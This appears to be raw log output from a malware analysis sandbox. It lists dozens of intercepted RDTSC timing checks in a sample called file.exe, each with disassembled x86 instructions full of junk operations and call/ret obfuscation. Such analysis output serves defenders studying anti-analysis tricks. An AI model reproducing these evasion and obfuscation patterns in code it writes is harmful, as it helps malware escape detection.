Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF4CED second address: AF4D4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push ebx 0x00000008 push ecx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ecx 0x0000000c pop ebx 0x0000000d nop 0x0000000e sub dword ptr [ebp+122D3334h], esi 0x00000014 push dword ptr fs:[00000000h] 0x0000001b push 00000000h 0x0000001d push ebx 0x0000001e call 00007F33B8C742F8h 0x00000023 pop ebx 0x00000024 mov dword ptr [esp+04h], ebx 0x00000028 add dword ptr [esp+04h], 00000018h 0x00000030 inc ebx 0x00000031 push ebx 0x00000032 ret 0x00000033 pop ebx 0x00000034 ret 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c mov eax, dword ptr [ebp+122D12E9h] 0x00000042 mov dword ptr [ebp+124730E8h], esi 0x00000048 push FFFFFFFFh 0x0000004a mov bh, DBh 0x0000004c nop 0x0000004d jo 00007F33B8C74304h 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF4D4A second address: AF4D4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF6B72 second address: AF6BDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F33B8C74309h 0x0000000a popad 0x0000000b nop 0x0000000c jmp 00007F33B8C74308h 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007F33B8C742F8h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 0000001Ah 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d mov bh, cl 0x0000002f push 00000000h 0x00000031 xor dword ptr [ebp+122D1CABh], edx 0x00000037 push eax 0x00000038 push ecx 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF8B7B second address: AF8B81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF8D4C second address: AF8D52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF8E0F second address: AF8E13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFADAB second address: AFADB5 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F33B8C742F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF8E13 second address: AF8E19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF8E19 second address: AF8E1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFADB5 second address: AFAE33 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F33B8517E9Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 jno 00007F33B8517E98h 0x00000018 popad 0x00000019 nop 0x0000001a jmp 00007F33B8517E9Eh 0x0000001f push dword ptr fs:[00000000h] 0x00000026 mov edi, dword ptr [ebp+122D27CEh] 0x0000002c mov dword ptr fs:[00000000h], esp 0x00000033 push 00000000h 0x00000035 push edi 0x00000036 call 00007F33B8517E98h 0x0000003b pop edi 0x0000003c mov dword ptr [esp+04h], edi 0x00000040 add dword ptr [esp+04h], 00000019h 0x00000048 inc edi 0x00000049 push edi 0x0000004a ret 0x0000004b pop edi 0x0000004c ret 0x0000004d or edi, dword ptr [ebp+122D28BEh] 0x00000053 mov eax, dword ptr [ebp+122D167Dh] 0x00000059 push FFFFFFFFh 0x0000005b stc 0x0000005c nop 0x0000005d pushad 0x0000005e jnc 00007F33B8517E9Ch 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFCC9B second address: AFCD3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33B8C742FDh 0x00000009 popad 0x0000000a jbe 00007F33B8C7430Fh 0x00000010 jmp 00007F33B8C74309h 0x00000015 popad 0x00000016 push eax 0x00000017 jno 00007F33B8C74305h 0x0000001d nop 0x0000001e push 00000000h 0x00000020 push eax 0x00000021 call 00007F33B8C742F8h 0x00000026 pop eax 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b add dword ptr [esp+04h], 00000016h 0x00000033 inc eax 0x00000034 push eax 0x00000035 ret 0x00000036 pop eax 0x00000037 ret 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push edx 0x0000003d call 00007F33B8C742F8h 0x00000042 pop edx 0x00000043 mov dword ptr [esp+04h], edx 0x00000047 add dword ptr [esp+04h], 00000019h 0x0000004f inc edx 0x00000050 push edx 0x00000051 ret 0x00000052 pop edx 0x00000053 ret 0x00000054 add dword ptr [ebp+122D347Eh], ebx 0x0000005a push 00000000h 0x0000005c movzx edi, cx 0x0000005f xchg eax, esi 0x00000060 jc 00007F33B8C74300h 0x00000066 push eax 0x00000067 push edx 0x00000068 push ecx 0x00000069 pop ecx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF8E1F second address: AF8E23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFFE89 second address: AFFE8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFFE8D second address: AFFE93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFFE93 second address: AFFE98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B01E24 second address: B01E2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B01E2A second address: B01E2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0244D second address: B024FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8517EA2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F33B8517E98h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 je 00007F33B8517EA6h 0x0000002e jmp 00007F33B8517EA0h 0x00000033 jmp 00007F33B8517E9Ah 0x00000038 call 00007F33B8517E9Ah 0x0000003d add dword ptr [ebp+122D1BADh], esi 0x00000043 pop ebx 0x00000044 push 00000000h 0x00000046 push 00000000h 0x00000048 push esi 0x00000049 call 00007F33B8517E98h 0x0000004e pop esi 0x0000004f mov dword ptr [esp+04h], esi 0x00000053 add dword ptr [esp+04h], 00000016h 0x0000005b inc esi 0x0000005c push esi 0x0000005d ret 0x0000005e pop esi 0x0000005f ret 0x00000060 add bl, FFFFFFBFh 0x00000063 xchg eax, esi 0x00000064 jmp 00007F33B8517E9Ch 0x00000069 push eax 0x0000006a push eax 0x0000006b push edx 0x0000006c jmp 00007F33B8517E9Eh 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B03433 second address: B03439 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B03439 second address: B0348A instructions: 0x00000000 rdtsc 0x00000002 jng 00007F33B8517E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov dword ptr [ebp+124692B6h], edx 0x00000013 push 00000000h 0x00000015 pushad 0x00000016 add eax, dword ptr [ebp+122D27C6h] 0x0000001c sub dword ptr [ebp+122D2B5Bh], ecx 0x00000022 popad 0x00000023 push 00000000h 0x00000025 jmp 00007F33B8517EA9h 0x0000002a push eax 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F33B8517E9Fh 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B04646 second address: B0464A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0464A second address: B04656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B057B6 second address: B057BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFDF4D second address: AFDF65 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8517EA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFDF65 second address: AFE002 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8C742FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov ebx, dword ptr [ebp+122D228Bh] 0x00000012 push dword ptr fs:[00000000h] 0x00000019 push 00000000h 0x0000001b push ebx 0x0000001c call 00007F33B8C742F8h 0x00000021 pop ebx 0x00000022 mov dword ptr [esp+04h], ebx 0x00000026 add dword ptr [esp+04h], 00000016h 0x0000002e inc ebx 0x0000002f push ebx 0x00000030 ret 0x00000031 pop ebx 0x00000032 ret 0x00000033 sbb bh, FFFFFFA3h 0x00000036 mov dword ptr fs:[00000000h], esp 0x0000003d push 00000000h 0x0000003f push esi 0x00000040 call 00007F33B8C742F8h 0x00000045 pop esi 0x00000046 mov dword ptr [esp+04h], esi 0x0000004a add dword ptr [esp+04h], 00000016h 0x00000052 inc esi 0x00000053 push esi 0x00000054 ret 0x00000055 pop esi 0x00000056 ret 0x00000057 mov eax, dword ptr [ebp+122D0225h] 0x0000005d or dword ptr [ebp+122D1858h], edi 0x00000063 jmp 00007F33B8C74303h 0x00000068 push FFFFFFFFh 0x0000006a mov dword ptr [ebp+122D31BAh], ebx 0x00000070 push eax 0x00000071 push eax 0x00000072 push edx 0x00000073 jmp 00007F33B8C742FCh 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEF52 second address: AFEF5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F33B8517E96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFEF5C second address: AFEF60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFFFB1 second address: AFFFC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jng 00007F33B8517E9Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFFFC0 second address: B00057 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 jmp 00007F33B8C74308h 0x0000000b jl 00007F33B8C74304h 0x00000011 pushad 0x00000012 jns 00007F33B8C742F6h 0x00000018 mov dword ptr [ebp+122D3362h], edi 0x0000001e popad 0x0000001f push dword ptr fs:[00000000h] 0x00000026 xor di, 4643h 0x0000002b mov dword ptr fs:[00000000h], esp 0x00000032 mov bx, 8EE9h 0x00000036 mov eax, dword ptr [ebp+122D0FB9h] 0x0000003c push 00000000h 0x0000003e push ebp 0x0000003f call 00007F33B8C742F8h 0x00000044 pop ebp 0x00000045 mov dword ptr [esp+04h], ebp 0x00000049 add dword ptr [esp+04h], 0000001Dh 0x00000051 inc ebp 0x00000052 push ebp 0x00000053 ret 0x00000054 pop ebp 0x00000055 ret 0x00000056 push FFFFFFFFh 0x00000058 mov ebx, 51C12B01h 0x0000005d nop 0x0000005e push eax 0x0000005f push edx 0x00000060 jmp 00007F33B8C74309h 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B02728 second address: B0272C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0272C second address: B0274D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F33B8C74309h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0274D second address: B02751 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B036D0 second address: B036F3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F33B8C74308h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0D484 second address: B0D488 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B127C2 second address: B127C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B127C8 second address: B127CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B127CC second address: B127D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B127D8 second address: B127DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B127DE second address: B127F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8C74302h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1489B second address: 931A1A instructions: 0x00000000 rdtsc 0x00000002 jl 00007F33B8517E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b xor dword ptr [esp], 24586E06h 0x00000012 jmp 00007F33B8517EA7h 0x00000017 push dword ptr [ebp+122D00C9h] 0x0000001d js 00007F33B8517E97h 0x00000023 call dword ptr [ebp+122D3209h] 0x00000029 pushad 0x0000002a pushad 0x0000002b mov ecx, dword ptr [ebp+122D27EEh] 0x00000031 mov dword ptr [ebp+122D21EAh], eax 0x00000037 popad 0x00000038 xor eax, eax 0x0000003a pushad 0x0000003b mov dword ptr [ebp+122D21EAh], esi 0x00000041 or ch, FFFFFFF7h 0x00000044 popad 0x00000045 mov dword ptr [ebp+122D21EAh], edx 0x0000004b mov edx, dword ptr [esp+28h] 0x0000004f jmp 00007F33B8517EA7h 0x00000054 jmp 00007F33B8517EA0h 0x00000059 mov dword ptr [ebp+122D28CAh], eax 0x0000005f add dword ptr [ebp+122D30DDh], ecx 0x00000065 mov esi, 0000003Ch 0x0000006a jo 00007F33B8517E9Ch 0x00000070 mov dword ptr [ebp+122D21EAh], edi 0x00000076 add esi, dword ptr [esp+24h] 0x0000007a cld 0x0000007b lodsw 0x0000007d pushad 0x0000007e jbe 00007F33B8517E9Ch 0x00000084 jng 00007F33B8517E96h 0x0000008a ja 00007F33B8517E9Ch 0x00000090 popad 0x00000091 add eax, dword ptr [esp+24h] 0x00000095 cld 0x00000096 mov ebx, dword ptr [esp+24h] 0x0000009a add dword ptr [ebp+122D3245h], eax 0x000000a0 push eax 0x000000a1 pushad 0x000000a2 jne 00007F33B8517E9Ch 0x000000a8 push eax 0x000000a9 push edx 0x000000aa jl 00007F33B8517E96h 0x000000b0 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA3F62 second address: AA3F80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F33B8C74307h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1915F second address: B19163 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B19163 second address: B19179 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F33B8C742F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007F33B8C742F6h 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B19422 second address: B1943B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jnc 00007F33B8517E96h 0x0000000b push esi 0x0000000c pop esi 0x0000000d jp 00007F33B8517E96h 0x00000013 popad 0x00000014 pushad 0x00000015 push eax 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B195C4 second address: B195C9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B19854 second address: B19862 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33B8517E9Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B199D5 second address: B19A01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8C74305h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F33B8C74303h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B19C59 second address: B19C74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8517EA7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B20AA3 second address: B20AA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B20AA7 second address: B20AB1 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F33B8517E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B20AB1 second address: B20ABB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F33B8C742F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B25163 second address: B25169 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B25169 second address: B25172 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B25172 second address: B251D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 jmp 00007F33B8517E9Fh 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F33B8517EA4h 0x00000015 jmp 00007F33B8517EA1h 0x0000001a push edx 0x0000001b pop edx 0x0000001c popad 0x0000001d je 00007F33B8517EB4h 0x00000023 js 00007F33B8517E96h 0x00000029 jmp 00007F33B8517EA8h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B251D8 second address: B251E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F33B8C742FAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B23FE6 second address: B23FEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF2D95 second address: AF2D9B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF2D9B second address: AF2DA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF2DA1 second address: AF2DA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF2E7D second address: AF2E83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF325C second address: AF327D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 add dword ptr [esp], 715CA8E1h 0x0000000d mov dword ptr [ebp+122D2246h], edx 0x00000013 call 00007F33B8C742F9h 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b push edx 0x0000001c pop edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF342A second address: AF3430 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF36FD second address: AF371D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8C74304h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF371D second address: AF3727 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F33B8517E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3727 second address: AF3782 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F33B8C74300h 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e mov ecx, dword ptr [ebp+122D321Fh] 0x00000014 push 00000004h 0x00000016 push 00000000h 0x00000018 push ecx 0x00000019 call 00007F33B8C742F8h 0x0000001e pop ecx 0x0000001f mov dword ptr [esp+04h], ecx 0x00000023 add dword ptr [esp+04h], 0000001Ah 0x0000002b inc ecx 0x0000002c push ecx 0x0000002d ret 0x0000002e pop ecx 0x0000002f ret 0x00000030 mov dx, ax 0x00000033 mov edi, 3BABD55Dh 0x00000038 nop 0x00000039 pushad 0x0000003a pushad 0x0000003b jmp 00007F33B8C742FBh 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3B9F second address: AF3BA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3BA5 second address: AF3BB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F33B8C742FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3DDC second address: AF3DE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3DE0 second address: AF3E3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a sub dword ptr [ebp+12455B72h], esi 0x00000010 adc edi, 6D9226BAh 0x00000016 lea eax, dword ptr [ebp+12494AE2h] 0x0000001c jmp 00007F33B8C742FFh 0x00000021 mov edi, dword ptr [ebp+122D2275h] 0x00000027 push eax 0x00000028 jmp 00007F33B8C74300h 0x0000002d mov dword ptr [esp], eax 0x00000030 mov edi, dword ptr [ebp+122D27EAh] 0x00000036 lea eax, dword ptr [ebp+12494A9Eh] 0x0000003c mov dl, bh 0x0000003e xor dword ptr [ebp+122D2778h], ebx 0x00000044 nop 0x00000045 push ecx 0x00000046 pushad 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3E3E second address: ACC599 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push eax 0x0000000a jmp 00007F33B8517E9Dh 0x0000000f pop eax 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007F33B8517E98h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 00000018h 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b xor dx, 4CE1h 0x00000030 call dword ptr [ebp+122D2CBAh] 0x00000036 jmp 00007F33B8517EA9h 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007F33B8517EA3h 0x00000042 push eax 0x00000043 push edx 0x00000044 jno 00007F33B8517E96h 0x0000004a jnc 00007F33B8517E96h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACC599 second address: ACC5C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B8C74305h 0x00000007 jmp 00007F33B8C74301h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
